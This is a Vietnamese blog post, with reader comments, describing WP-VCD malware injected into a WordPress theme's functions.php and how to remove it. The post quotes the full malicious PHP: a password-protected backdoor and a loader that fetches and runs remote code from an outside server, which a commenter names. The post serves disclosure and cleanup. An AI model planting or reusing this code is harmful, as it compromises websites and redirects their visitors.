Code bị chèn thêm vào file functions trong WordPress
Thay mặt những người quản trị website Tìm ở đây xin lỗi các bạn đọc nếu trong thời gian vừa rồi các bạn khi truy cập website timoday.edu.vn bị gặp vấn đề khi mở một bài viết trên website này thì bị bật ra một link tới một trang khác.
Mình chia sẻ bài viết này để những bạn đang quản trị website sử dụng WordPress nếu gặp vấn đề này giống mình thì biết cách sửa lỗi, ngoài ra nếu chưa gặp thì biết cách phòng tránh bị cài mã độc vào website của chính mình.
Vấn đề gặp phải của website timoday.edu.vn đợt vừa rồi là khi mở trên máy cá nhân của mình thì không vấn đề gì, nhưng khi mở trên máy tính khác thì phát hiện ra cứ kích vào một bài viết nào đó nó tự động mở ra một liên kết khác. Ban đầu mình nghĩ do máy tính đó bị cài Malware nên không quan tâm, sau đó mình truy cập từ SmartPhone thì thấy vấn đề tương tự.
Sau quá trình rà soát phiên bản trên máy chủ và phiên bản trên local (thực hiện compare hai phiên bản) thì thấy code trên server bị chèn thêm đoàn code này ở file function.php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxxxxx'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code6\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'swps_stemps_ssetups' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.xxxx/xxx.php?i=".$path))
{
function swps_stemps_ssetups($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "swps_stemps_ssetups");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(swps_stemps_ssetups($tmpcontent)); } } } ?
<?php
Mình cũng đã thử sử dụng các plugin tìm mã độc cài trên WordPress như 6Scan Security, Wordfence Security,Antivirus … nhưng cũng không ăn thua. Mình cũng đã nhờ sự hỗ trợ của nhà cung cấp dịch vụ hosting (vì mình nghĩ do hosting bị dính virus) nhưng họ cũng bó tay. Mình thử Copy đè hẳn file functions.php trên server nhưng lập tức lại bị đè đoạn code trên, xoá cả theme đi copy theme khác cũng bị tương tự. Cuối cùng tìm kiếm trên mạng cũng có giải pháp sử lý triệt để:
- Khôi phục lại core WordPress
- Xoá các file wp.class.php và wp-cd.php trong wp-includes
- Và sau cùng xoá đoạn code bị chèn thêm vào trong file functions.php trong theme của bạn
Cách phòng trách
- Không cài các theme và các plugin không rõ nguồn gốc (nên tải từ site chính thức wordpress.org và xem đánh giá của người sử dụng)
- Tránh cài plugin wootabs.zip từ wplocker.com
Các bạn có thể xem thêm ở đây
Mình cũng bị giống bạn :)) Dùng theme Newspaper null. Mới đầu đang chạy ngon… update từ bạn 7.6 lên 8.1 thấy cũng bình thường những môt số css và cài đặt chưa đc cập nhật nên về v7.6 thì éo vào được… Web không load nổi luôn,… lay hoay xóa luôn cả 2 theme mới và cũ đi thì nó về giao diện mặc định và vào được web… Sau thử đi thử lại … thì vào được web với v8.1 nhưng tốc độ load cực chậm trong admincp… Tìm file funcition thì thấy một đoạn mà y chang của bạn… XÓa đi thì lại éo vào được web =)) Bực cả mình….
Khắc phục nhanh: Vào phần cập nhật wordpress và nhấn vào cập nhật (Dù là bản mới rồi thì cứ nhấn vô cho nó cài lại vài file) Xong rồi vô function để xóa code đó đi thì lại vào ầm ầm 😀
Cảm ơn bạn chia sẻ. Mình bị sau đó tìm hiểu thấy nhiều người bị. Cài theme hoặc plugin “đểu” hay “nulled” là bị dính ngay
cảm ơn mình đã sửa được lỗi này, cảm ơn bác
Làm cách vầy chắc chắn sẽ bị lại vì mã độc nó sẽ khôi phục tự động đoạn code đó cũng như các file đã xóa. Share các bạn 1 cách, mình đã thử và triệt sạch thể loại này. Lúc trước chạy google ad bị nó báo mã độc, k cho chạy, giờ thì ok rồi
Các bạn để ý dòng này trong function: “if($tmpcontent = @file_get_contents(“http://www.dolsh.com/code6.php?i=”.$path))”, nó sẽ tự động truy xuất vào link trên để lấy code chuyển hướng hay gì đó đại loại thế. Hướng xử lý sẽ như thế này:
1) Tạo 1 file có tên là code6.php với nội dung trống đặt ở thư mục gốc của wordpress, sau đó sửa tất cả đường link “dolsh.com” có trong function trong dòng code phía trên thành
if($tmpcontent = @file_get_contents(“http:///code6.php?i=”.$path)) => Nhằm đánh lừa nó chuyển sang lấy dữ liệu mã độc từ file code6.php (thực tế là rỗng, chả có gì để lấy => mã độc k hoạt động được)
2) Sử dụng plugin Wordfence, quét mã độc và xóa tất cả những file được đề xuất
Cách này mình đã thử thành công và web chạy phà phà, các bạn đừng mất công ngồi và xóa code hay file khi chưa thử cách này (vì nó cũng sẽ tự tạo lại dòng code & file sau vài phút xóa)
Ok bạn bài viết rất hay m đã làm như bạn và tạm thời ok
Rảnh ghé mình chơi nhé pabuzo.vn
có code nào thêm văn bản vào cuối danh mục không bạn?
Mình chưa hiểu ý của bạn định chèn như thế nào? Bạn có thể chụp màn hình và mô tả thêm